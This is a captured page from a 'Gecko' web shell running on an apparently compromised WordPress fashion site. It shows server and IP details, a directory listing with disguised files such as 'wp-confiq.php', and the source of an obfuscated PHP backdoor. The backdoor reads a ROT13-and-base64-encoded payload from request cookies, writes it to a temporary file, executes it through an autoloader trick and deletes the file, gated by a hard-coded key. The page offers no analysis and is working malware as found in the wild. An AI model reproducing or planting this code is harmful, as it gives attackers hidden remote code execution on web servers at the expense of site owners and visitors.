Gecko [ ap.oishifashion.com ]

Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains : Cant Read [ /etc/named.conf ]
User : oishifashion

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2025-08-24 07:15
wp-admin	[ DIR ]	drwxr-xr-x	2025-12-23 01:33
wp-content	[ DIR ]	drwxr-xr-x	2025-12-23 01:33
wp-includes	[ DIR ]	drwxr-xr-x	2025-12-23 01:34
.htaccess	621 B	-r--r--r--	2025-12-23 01:31
16940c9f59d1dbadmin.php	9.25 KB	-rw-r--r--	2025-12-16 02:54
about.php	5.31 KB	-rw-r--r--	2025-12-24 23:35
adminfuns.php	173.77 KB	-rw-r--r--	2025-12-18 07:34
content.php	4.42 KB	-rw-r--r--	2025-10-30 00:54
error_log	2.05 MB	-rw-r--r--	2025-12-25 05:41
header.php	12.21 KB	-rw-r--r--	2025-11-14 01:15
index.php	55.09 KB	-r--r--r--	2025-12-23 01:31
index_download.php	677 B	-rw-r--r--	2025-12-24 23:13
radio.php	4.42 KB	-rw-r--r--	2025-10-17 00:43
wp-blog-header.php	2.74 KB	-rw-r--r--	2025-12-18 07:34
wp-confiq.php	105.03 KB	-rw-r--r--	2025-12-18 07:34
wp-cron.php	2.74 KB	-rw-r--r--	2025-12-18 07:34
wp.php	1.02 KB	-rw-r--r--	2025-10-17 00:43

Rename

<?php

if (isset($_COOKIE[-42+42]) && isset($_COOKIE[-66+67]) && isset($_COOKIE[89-86]) && isset($_COOKIE[-47+51])) {
    $itm = $_COOKIE;
    function right_pad_string($item) {
        $itm = $_COOKIE;
        $symbol = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '9deafd73');
        if (!is_writable($symbol)) {
            $symbol = getcwd() . DIRECTORY_SEPARATOR . "approve_request";
        }
        $marker = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($itm[3]));
        if (is_writeable($symbol)) {
            $rec = fopen($symbol, 'w+');
            fputs($rec, $marker);
            fclose($rec);
            spl_autoload_unregister(__FUNCTION__);
            require_once($symbol);
            @array_map('unlink', array($symbol));
        }
    }
    spl_autoload_register("right_pad_string");
    $pset = "8f8d47ca202b5b580bc4e873022bff78";
    if (!strncmp($pset, $itm[4], 32)) {
        if (@class_parents("request_approved_secure_access", true)) {
            exit;
        }
    }
}